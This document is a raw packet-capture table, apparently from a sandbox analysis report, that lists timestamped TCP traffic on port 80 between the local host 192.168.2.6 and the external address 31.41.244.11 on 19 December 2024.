Dec 19, 2024 08:09:16.128633976 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.128710032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.128736973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.128829002 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.129451036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.129513979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.129538059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.129581928 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.130337000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.130383015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.130435944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.131201982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.131284952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.131320000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.131464005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.132172108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.132214069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.132271051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.132314920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.132870913 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.132976055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.132993937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.133037090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.133734941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.133790970 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.133825064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.133825064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.134601116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.134651899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.134716034 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.134752989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.135452986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.135498047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.135546923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.135588884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.136312962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.136362076 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.136435986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.136481047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.137154102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.137202978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.137237072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.137284040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.138001919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.138045073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.138109922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.138149023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.138838053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.138879061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.138942957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.139019012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.139790058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.139879942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.139936924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.139987946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.140674114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.140736103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.140778065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.141448021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.141488075 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.141515017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.141554117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.142254114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.142360926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.142368078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.142437935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.143106937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.143183947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.143191099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.143321037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.144049883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.144061089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.144109964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.144845009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.144889116 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.144917011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.144954920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.145699024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.145739079 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.145828962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.145914078 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.146562099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.146610975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.146619081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.146668911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.147355080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.147397995 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.147476912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.147521973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.148298979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.148353100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.148374081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.148422003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.149091959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.149214983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.149230957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.149262905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.149930954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.150028944 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.150079966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.150777102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.150850058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.150892973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.150949955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.151657104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.151707888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.151803017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.151889086 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.152482033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.152529001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.152610064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.152654886 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.153342009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.153389931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.153445959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.153515100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.154206991 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.154249907 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.154309034 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.154372931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.155088902 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.155128956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.155159950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.155292034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.155899048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.155949116 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.156351089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.303416014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.303489923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.303570032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.303620100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.303774118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.303822041 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.303855896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.303905010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.304644108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.304656982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.304701090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.305556059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.305630922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.305681944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.306353092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.306402922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.306427002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.306488991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.307207108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.307291985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.307306051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.307352066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.308017015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.308115005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.308144093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.308253050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.308864117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.308917999 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.308954954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.309000969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.309705973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.309839964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.309870958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.309885979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.310574055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.310620070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.310671091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.310756922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.311554909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.311568975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.311615944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.312268972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.312314987 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.312369108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.312416077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.313158989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.313215971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.313338041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.313381910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.314002991 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.314054012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.314157963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.314201117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.314867973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.314881086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.314932108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.315701008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.315773010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.315828085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.315874100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.316541910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.316632032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.316659927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.316677094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.317395926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.317451954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.317487955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.317531109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.318326950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.318352938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.318392038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.319123030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.319175959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.319214106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.319267988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.319969893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.320015907 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.320106983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.320154905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.320800066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.320847034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.320884943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.320924997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.321688890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.321744919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.321772099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.321813107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.322501898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.322546005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.322593927 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.322663069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.323407888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.323487997 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.323605061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.323654890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.324249029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.324300051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.324417114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.324500084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.325068951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.325115919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.325171947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.325216055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.325961113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.326026917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.326081038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.326126099 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.326776028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.326827049 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.326877117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.326924086 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.327682972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.327739000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.327760935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.327816963 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.328567028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.328614950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.328636885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.328684092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.329400063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.329447031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.329523087 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.329580069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.330182076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.330229044 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.330296040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.330403090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.331068993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.331079960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.331115961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.331897974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.331954956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.331994057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.332039118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.332775116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.332786083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.332829952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.334081888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.334098101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.334141016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.334491968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.334546089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.334598064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.334642887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.335310936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.335361004 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.335439920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.335638046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.336184025 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.336195946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.336245060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.337021112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.337084055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.337160110 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.337203026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.337943077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.337990046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.338011980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.338064909 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.338783026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.338840961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.338891029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.338968039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.339654922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.339715958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.339824915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.339890003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.340455055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.340502977 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.340604067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.340676069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.341304064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.341351032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.341406107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.341461897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.342134953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.342185020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.342251062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.342292070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.343002081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.343050957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.343110085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.343152046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.343863964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.343936920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.343966961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.344014883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.344711065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.344816923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.344842911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.344857931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.345562935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.345617056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.345678091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.345720053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.346456051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.346508026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.346590996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.346633911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.347273111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.347333908 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.347392082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.347601891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.348071098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.348123074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.495436907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.495450974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.495505095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.495840073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.495959997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.496007919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:16.496795893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:16.496844053 CET	80	49802	31.41.244.11	192.168.2.6
